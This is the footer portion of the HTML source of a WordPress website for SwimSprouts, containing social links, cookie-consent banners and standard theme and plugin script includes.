</div></div></div></div><div class="vc_row-full-width vc_clearfix"></div><!-- Row Backgrounds --><div class="upb_color" data-bg-override="0" data-bg-color="#92d179" data-fadeout="" data-fadeout-percentage="30" data-parallax-content="" data-parallax-content-sense="30" data-row-effect-mobile-disable="true" data-img-parallax-mobile-disable="true" data-rtl="false"  data-custom-vc-row=""  data-vc="6.13.0"  data-is_old_vc=""  data-theme-support=""   data-overlay="false" data-overlay-color="" data-overlay-pattern="" data-overlay-pattern-opacity="" data-overlay-pattern-size=""    ></div>
Follow SwimSprouts on Social Media
<ul class="sxc-follow-buttons">
<li class="sxc-follow-button">
                                    <a
                                        href="https://www.facebook.com/SwimSproutsUK/"
                                        
                                        title="Facebook"
                                        target="_blank"
                                    >
                                        <img
                                            src="https://swimsprouts.com/wp-content/plugins/social-media-buttons-toolbar/inc/img/social-media-icons/facebook.png"
                                            alt="Facebook"
                                        />
                                    </a>
                              </li>
<li class="sxc-follow-button">
                                    <a
                                        href="https://www.instagram.com/swimsproutsuk/ "
                                        
                                        title="Instagram"
                                        target="_blank"
                                    >
                                        <img
                                            src="https://swimsprouts.com/wp-content/plugins/social-media-buttons-toolbar/inc/img/social-media-icons/instagram.png"
                                            alt="Instagram"
                                        />
                                    </a>
                              </li>
</ul>
</section>
	</div><!-- #content -->

	


			</div><!-- .wf-container -->
		</div><!-- .wf-wrap -->

	
	</div><!-- #main -->

	


	<!-- !Footer -->
	<footer id="footer" class="footer solid-bg">

		
<!-- !Bottom-bar -->
<div id="bottom-bar" class="solid-bg logo-left" role="contentinfo">
    <div class="wf-wrap">
        <div class="wf-container-bottom">

			
                <div class="wf-float-left">

					Copyright SwimSprouts 2019
                </div>

			
            <div class="wf-float-right">

				
            </div>

        </div><!-- .wf-container-bottom -->
    </div><!-- .wf-wrap -->
</div><!-- #bottom-bar -->
	</footer><!-- #footer -->

<a href="#" class="scroll-top"><svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 16 16" style="enable-background:new 0 0 16 16;" xml:space="preserve">
<path d="M11.7,6.3l-3-3C8.5,3.1,8.3,3,8,3c0,0,0,0,0,0C7.7,3,7.5,3.1,7.3,3.3l-3,3c-0.4,0.4-0.4,1,0,1.4c0.4,0.4,1,0.4,1.4,0L7,6.4
	V12c0,0.6,0.4,1,1,1s1-0.4,1-1V6.4l1.3,1.3c0.4,0.4,1,0.4,1.4,0C11.9,7.5,12,7.3,12,7S11.9,6.5,11.7,6.3z"/>
</svg><span class="screen-reader-text">Go to Top</span></a>

</div><!-- #page -->


		<script>
			window.RS_MODULES = window.RS_MODULES || {};
			window.RS_MODULES.modules = window.RS_MODULES.modules || {};
			window.RS_MODULES.waiting = window.RS_MODULES.waiting || [];
			window.RS_MODULES.defered = true;
			window.RS_MODULES.moduleWaiting = window.RS_MODULES.moduleWaiting || {};
			window.RS_MODULES.type = 'compiled';
		</script>
		<!--googleoff: all--><div id="cookie-law-info-bar" data-nosnippet="true"><span>This website uses cookies to improve your experience. We'll assume you're ok with this, but you can opt-out if you wish. <a role='button' class="cli_settings_button" style="margin:5px 20px 5px 20px">Cookie settings</a><a role='button' data-cli_action="accept" id="cookie_action_close_header" class="medium cli-plugin-button cli-plugin-main-button cookie_action_close_header cli_action_button wt-cli-accept-btn" style="margin:5px">ACCEPT</a></span></div><div id="cookie-law-info-again" data-nosnippet="true"><span id="cookie_hdr_showagain">Privacy &amp; Cookies Policy</span></div><div class="cli-modal" data-nosnippet="true" id="cliSettingsPopup" tabindex="-1" role="dialog" aria-labelledby="cliSettingsPopup" aria-hidden="true">
  <div class="cli-modal-dialog" role="document">
	<div class="cli-modal-content cli-bar-popup">
		  <button type="button" class="cli-modal-close" id="cliModalClose">
			<svg class="" viewBox="0 0 24 24"><path d="M19 6.41l-1.41-1.41-5.59 5.59-5.59-5.59-1.41 1.41 5.59 5.59-5.59 5.59 1.41 1.41 5.59-5.59 5.59 5.59 1.41-1.41-5.59-5.59z"></path><path d="M0 0h24v24h-24z" fill="none"></path></svg>
			<span class="wt-cli-sr-only">Close</span>
		  </button>
		  <div class="cli-modal-body">
			<div class="cli-container-fluid cli-tab-container">
	<div class="cli-row">
		<div class="cli-col-12 cli-align-items-stretch cli-px-0">
			<div class="cli-privacy-overview">
				<h4>Privacy Overview</h4>				<div class="cli-privacy-content">
					<div class="cli-privacy-content-text">This website uses cookies to improve your experience while you navigate through the website. Out of these cookies, the cookies that are categorized as necessary are stored on your browser as they are as essential for the working of basic functionalities of the website. We also use third-party cookies that help us analyze and understand how you use this website. These cookies will be stored in your browser only with your consent. You also have the option to opt-out of these cookies. But opting out of some of these cookies may have an effect on your browsing experience.</div>
				</div>
				<a class="cli-privacy-readmore" aria-label="Show more" role="button" data-readmore-text="Show more" data-readless-text="Show less"></a>			</div>
		</div>
		<div class="cli-col-12 cli-align-items-stretch cli-px-0 cli-tab-section-container">
												<div class="cli-tab-section">
						<div class="cli-tab-header">
							<a role="button" tabindex="0" class="cli-nav-link cli-settings-mobile" data-target="necessary" data-toggle="cli-toggle-tab">
								Necessary							</a>
															<div class="wt-cli-necessary-checkbox">
									<input type="checkbox" class="cli-user-preference-checkbox"  id="wt-cli-checkbox-necessary" data-id="checkbox-necessary" checked="checked"  />
									<label class="form-check-label" for="wt-cli-checkbox-necessary">Necessary</label>
								</div>
								<span class="cli-necessary-caption">Always Enabled</span>
													</div>
						<div class="cli-tab-content">
							<div class="cli-tab-pane cli-fade" data-id="necessary">
								<div class="wt-cli-cookie-description">
									Necessary cookies are absolutely essential for the website to function properly. This category only includes cookies that ensures basic functionalities and security features of the website. These cookies do not store any personal information.								</div>
							</div>
						</div>
					</div>
																		</div>
	</div>
</div>
		  </div>
		  <div class="cli-modal-footer">
			<div class="wt-cli-element cli-container-fluid cli-tab-container">
				<div class="cli-row">
					<div class="cli-col-12 cli-align-items-stretch cli-px-0">
						<div class="cli-tab-footer wt-cli-privacy-overview-actions">
						
															<a id="wt-cli-privacy-save-btn" role="button" tabindex="0" data-cli-action="accept" class="wt-cli-privacy-btn cli_setting_save_button wt-cli-privacy-accept-btn cli-btn">SAVE &amp; ACCEPT</a>
													</div>
						
					</div>
				</div>
			</div>
		</div>
	</div>
  </div>
</div>
<div class="cli-modal-backdrop cli-fade cli-settings-overlay"></div>
<div class="cli-modal-backdrop cli-fade cli-popupbar-overlay"></div>
<!--googleon: all-->
<!-- Consent Management powered by Complianz | GDPR/CCPA Cookie Consent https://wordpress.org/plugins/complianz-gdpr -->
<div id="cmplz-cookiebanner-container"><div class="cmplz-cookiebanner cmplz-hidden banner-1 optin cmplz-bottom-right cmplz-categories-type-view-preferences" aria-modal="true" data-nosnippet="true" role="dialog" aria-live="polite" aria-labelledby="cmplz-header-1-optin" aria-describedby="cmplz-message-1-optin">
	<div class="cmplz-header">
		<div class="cmplz-logo"></div>
		<div class="cmplz-title" id="cmplz-header-1-optin">Manage Cookie Consent</div>
		<div class="cmplz-close" tabindex="0" role="button" aria-label="close-dialog">
			<svg aria-hidden="true" focusable="false" data-prefix="fas" data-icon="times" class="svg-inline--fa fa-times fa-w-11" role="img" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><path fill="currentColor" d="M242.72 256l100.07-100.07c12.28-12.28 12.28-32.19 0-44.48l-22.24-22.24c-12.28-12.28-32.19-12.28-44.48 0L176 189.28 75.93 89.21c-12.28-12.28-32.19-12.28-44.48 0L9.21 111.45c-12.28 12.28-12.28 32.19 0 44.48L109.28 256 9.21 356.07c-12.28 12.28-12.28 32.19 0 44.48l22.24 22.24c12.28 12.28 32.2 12.28 44.48 0L176 322.72l100.07 100.07c12.28 12.28 32.2 12.28 44.48 0l22.24-22.24c12.28-12.28 12.28-32.19 0-44.48L242.72 256z"></path></svg>
		</div>
	</div>

	<div class="cmplz-divider cmplz-divider-header"></div>
	<div class="cmplz-body">
		<div class="cmplz-message" id="cmplz-message-1-optin">To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behaviour or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.</div>
		<!-- categories start -->
		<div class="cmplz-categories">
			<details class="cmplz-category cmplz-functional" >
				<summary>
						<span class="cmplz-category-header">
							<span class="cmplz-category-title">Functional</span>
							<span class='cmplz-always-active'>
								<span class="cmplz-banner-checkbox">
									<input type="checkbox"
										   id="cmplz-functional-optin"
										   data-category="cmplz_functional"
										   class="cmplz-consent-checkbox cmplz-functional"
										   size="40"
										   value="1"/>
									<label class="cmplz-label" for="cmplz-functional-optin" tabindex="0"><span class="screen-reader-text">Functional</span></label>
								</span>
								Always active							</span>
							<span class="cmplz-icon cmplz-open">
								<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"  height="18" ><path d="M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"/></svg>
							</span>
						</span>
				</summary>
				<div class="cmplz-description">
					<span class="cmplz-description-functional">The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.</span>
				</div>
			</details>

			<details class="cmplz-category cmplz-preferences" >
				<summary>
						<span class="cmplz-category-header">
							<span class="cmplz-category-title">Preferences</span>
							<span class="cmplz-banner-checkbox">
								<input type="checkbox"
									   id="cmplz-preferences-optin"
									   data-category="cmplz_preferences"
									   class="cmplz-consent-checkbox cmplz-preferences"
									   size="40"
									   value="1"/>
								<label class="cmplz-label" for="cmplz-preferences-optin" tabindex="0"><span class="screen-reader-text">Preferences</span></label>
							</span>
							<span class="cmplz-icon cmplz-open">
								<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"  height="18" ><path d="M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"/></svg>
							</span>
						</span>
				</summary>
				<div class="cmplz-description">
					<span class="cmplz-description-preferences">The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.</span>
				</div>
			</details>

			<details class="cmplz-category cmplz-statistics" >
				<summary>
						<span class="cmplz-category-header">
							<span class="cmplz-category-title">Statistics</span>
							<span class="cmplz-banner-checkbox">
								<input type="checkbox"
									   id="cmplz-statistics-optin"
									   data-category="cmplz_statistics"
									   class="cmplz-consent-checkbox cmplz-statistics"
									   size="40"
									   value="1"/>
								<label class="cmplz-label" for="cmplz-statistics-optin" tabindex="0"><span class="screen-reader-text">Statistics</span></label>
							</span>
							<span class="cmplz-icon cmplz-open">
								<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"  height="18" ><path d="M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"/></svg>
							</span>
						</span>
				</summary>
				<div class="cmplz-description">
					<span class="cmplz-description-statistics">The technical storage or access that is used exclusively for statistical purposes.</span>
					<span class="cmplz-description-statistics-anonymous">The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.</span>
				</div>
			</details>
			<details class="cmplz-category cmplz-marketing" >
				<summary>
						<span class="cmplz-category-header">
							<span class="cmplz-category-title">Marketing</span>
							<span class="cmplz-banner-checkbox">
								<input type="checkbox"
									   id="cmplz-marketing-optin"
									   data-category="cmplz_marketing"
									   class="cmplz-consent-checkbox cmplz-marketing"
									   size="40"
									   value="1"/>
								<label class="cmplz-label" for="cmplz-marketing-optin" tabindex="0"><span class="screen-reader-text">Marketing</span></label>
							</span>
							<span class="cmplz-icon cmplz-open">
								<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"  height="18" ><path d="M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"/></svg>
							</span>
						</span>
				</summary>
				<div class="cmplz-description">
					<span class="cmplz-description-marketing">The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.</span>
				</div>
			</details>
		</div><!-- categories end -->
			</div>

	<div class="cmplz-links cmplz-information">
		<a class="cmplz-link cmplz-manage-options cookie-statement" href="#" data-relative_url="#cmplz-manage-consent-container">Manage options</a>
		<a class="cmplz-link cmplz-manage-third-parties cookie-statement" href="#" data-relative_url="#cmplz-cookies-overview">Manage services</a>
		<a class="cmplz-link cmplz-manage-vendors tcf cookie-statement" href="#" data-relative_url="#cmplz-tcf-wrapper">Manage vendors</a>
		<a class="cmplz-link cmplz-external cmplz-read-more-purposes tcf" target="_blank" rel="noopener noreferrer nofollow" href="https://cookiedatabase.org/tcf/purposes/">Read more about these purposes</a>
			</div>

	<div class="cmplz-divider cmplz-footer"></div>

	<div class="cmplz-buttons">
		<button class="cmplz-btn cmplz-accept">Accept</button>
		<button class="cmplz-btn cmplz-deny">Deny</button>
		<button class="cmplz-btn cmplz-view-preferences">View preferences</button>
		<button class="cmplz-btn cmplz-save-preferences">Save preferences</button>
		<a class="cmplz-btn cmplz-manage-options tcf cookie-statement" href="#" data-relative_url="#cmplz-manage-consent-container">View preferences</a>
			</div>

	<div class="cmplz-links cmplz-documents">
		<a class="cmplz-link cookie-statement" href="#" data-relative_url="">{title}</a>
		<a class="cmplz-link privacy-statement" href="#" data-relative_url="">{title}</a>
		<a class="cmplz-link impressum" href="#" data-relative_url="">{title}</a>
			</div>

</div>
</div>
					<div id="cmplz-manage-consent" data-nosnippet="true"><button class="cmplz-btn cmplz-hidden cmplz-manage-consent manage-consent-1">Manage consent</button>

</div><script type="text/html" id="wpb-modifications"> window.wpbCustomElement = 1; </script><link rel='stylesheet' id='ultimate-vc-addons-background-style-css' href='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-css/background-style.min.css?ver=3.19.15' type='text/css' media='all' />
<link rel='stylesheet' id='rs-plugin-settings-css' href='https://swimsprouts.com/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.6.15' type='text/css' media='all' />
<style id='rs-plugin-settings-inline-css' type='text/css'>
#rs-demo-id {}
</style>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/themes/dt-the7/js/main.min.js?ver=11.8.1' id='dt-main-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8' id='swv-js'></script>
<script type='text/javascript' id='contact-form-7-js-extra'>
/* <![CDATA[ */
var wpcf7 = {"api":{"root":"https:\/\/swimsprouts.com\/wp-json\/","namespace":"contact-form-7\/v1"},"cached":"1"};
/* ]]> */
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8' id='contact-form-7-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/go_pricing/assets/js/go_pricing_scripts.js?ver=3.4' id='go-pricing-scripts-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/revslider/public/assets/js/rbtools.min.js?ver=6.6.15' defer async id='tp-tools-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/revslider/public/assets/js/rs6.min.js?ver=6.6.15' defer async id='revmin-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/themes/dt-the7/js/legacy.min.js?ver=11.8.1' id='dt-legacy-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/themes/dt-the7/lib/jquery-mousewheel/jquery-mousewheel.min.js?ver=11.8.1' id='jquery-mousewheel-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/themes/dt-the7/lib/custom-scrollbar/custom-scrollbar.min.js?ver=11.8.1' id='the7-custom-scrollbar-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/dt-the7-core/assets/js/post-type.min.js?ver=2.7.6' id='the7-core-js'></script>
<script type='text/javascript' id='cmplz-cookiebanner-js-extra'>
/* <![CDATA[ */
var complianz = {"prefix":"cmplz_","user_banner_id":"1","set_cookies":{"wpgmza-api-consent-given":["1",0]},"block_ajax_content":"","banner_version":"19","version":"6.5.3","store_consent":"","do_not_track_enabled":"","consenttype":"optin","region":"uk","geoip":"","dismiss_timeout":"","disable_cookiebanner":"","soft_cookiewall":"","dismiss_on_scroll":"","cookie_expiry":"365","url":"https:\/\/swimsprouts.com\/wp-json\/complianz\/v1\/","locale":"lang=en&locale=en_GB","set_cookies_on_root":"","cookie_domain":"","current_policy_id":"16","cookie_path":"\/","categories":{"statistics":"statistics","marketing":"marketing"},"tcf_active":"","placeholdertext":"Click to accept {category} cookies and enable this content","aria_label":"Click to accept {category} cookies and enable this content","css_file":"https:\/\/swimsprouts.com\/wp-content\/uploads\/complianz\/css\/banner-{banner_id}-{type}.css?v=19","page_links":{"uk":{"cookie-statement":{"title":"","url":"https:\/\/swimsprouts.com\/news\/"}}},"tm_categories":"","forceEnableStats":"","preview":"","clean_cookies":""};
/* ]]> */
</script>
<script defer type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/complianz-gdpr/cookiebanner/js/complianz.min.js?ver=6.5.3' id='cmplz-cookiebanner-js'></script>
<script id="cmplz-cookiebanner-js-after" type="text/javascript">
		
			function ensure_complianz_is_loaded() {
				let timeout = 30000000; // 30 seconds
				let start = Date.now();
				return new Promise(wait_for_complianz);

				function wait_for_complianz(resolve, reject) {
					if (window.cmplz_get_cookie) // if complianz is loaded, resolve the promise
						resolve(window.cmplz_get_cookie);
					else if (timeout && (Date.now() - start) >= timeout)
						reject(new Error("timeout"));
					else
						setTimeout(wait_for_complianz.bind(this, resolve, reject), 30);
				}
			}

			// This runs the promise code
			ensure_complianz_is_loaded().then(function(){

							  		// cookieless tracking is disabled
					document.addEventListener("cmplz_cookie_warning_loaded", function(consentData) {
						let region = consentData.detail;
						if (region !== 'uk') {
							let scriptElements = document.querySelectorAll('script[data-service="burst"]');
							scriptElements.forEach(obj => {
								if (obj.classList.contains('cmplz-activated') || obj.getAttribute('type') === 'text/javascript') {
									return;
								}
								obj.classList.add('cmplz-activated');
								let src = obj.getAttribute('src');
								if (src) {
									obj.setAttribute('type', 'text/javascript');
									cmplz_run_script(src, 'statistics', 'src');
									obj.parentNode.removeChild(obj);
								}
							});
						}
					});
					document.addEventListener("cmplz_run_after_all_scripts", cmplz_burst_fire_domContentLoadedEvent);

					function cmplz_burst_fire_domContentLoadedEvent() {
						let event = new CustomEvent('burst_fire_hit');
						document.dispatchEvent(event);
					}
							});
		
		
</script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/js_composer/assets/js/dist/js_composer_front.min.js?ver=6.13.0' id='wpb_composer_front_js-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-js/jquery-appear.min.js?ver=3.19.15' id='ultimate-vc-addons-appear-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-js/ultimate_bg.min.js?ver=3.19.15' id='ultimate-vc-addons-row-bg-js'></script>
<script type='text/javascript' src='https://swimsprouts.com/wp-content/plugins/Ultimate_VC_Addons/assets/min-js/custom.min.js?ver=3.19.15' id='ultimate-vc-addons-custom-js'></script>

<div class="pswp" tabindex="-1" role="dialog" aria-hidden="true">
	<div class="pswp__bg"></div>
	<div class="pswp__scroll-wrap">
		<div class="pswp__container">
			<div class="pswp__item"></div>
			<div class="pswp__item"></div>
			<div class="pswp__item"></div>
		</div>
		<div class="pswp__ui pswp__ui--hidden">
			<div class="pswp__top-bar">
				<div class="pswp__counter"></div>
				<button class="pswp__button pswp__button--close" title="Close (Esc)" aria-label="Close (Esc)"></button>
				<button class="pswp__button pswp__button--share" title="Share" aria-label="Share"></button>
				<button class="pswp__button pswp__button--fs" title="Toggle fullscreen" aria-label="Toggle fullscreen"></button>
				<button class="pswp__button pswp__button--zoom" title="Zoom in/out" aria-label="Zoom in/out"></button>
				<div class="pswp__preloader">
					<div class="pswp__preloader__icn">
						<div class="pswp__preloader__cut">
							<div class="pswp__preloader__donut"></div>
						</div>
					</div>
				</div>
			</div>
			<div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap">
				<div class="pswp__share-tooltip"></div> 
			</div>
			<button class="pswp__button pswp__button--arrow--left" title="Previous (arrow left)" aria-label="Previous (arrow left)">
			</button>
			<button class="pswp__button pswp__button--arrow--right" title="Next (arrow right)" aria-label="Next (arrow right)">
			</button>
			<div class="pswp__caption">
				<div class="pswp__caption__center"></div>
			</div>
		</div>
	</div>
</div>
</body>
</html>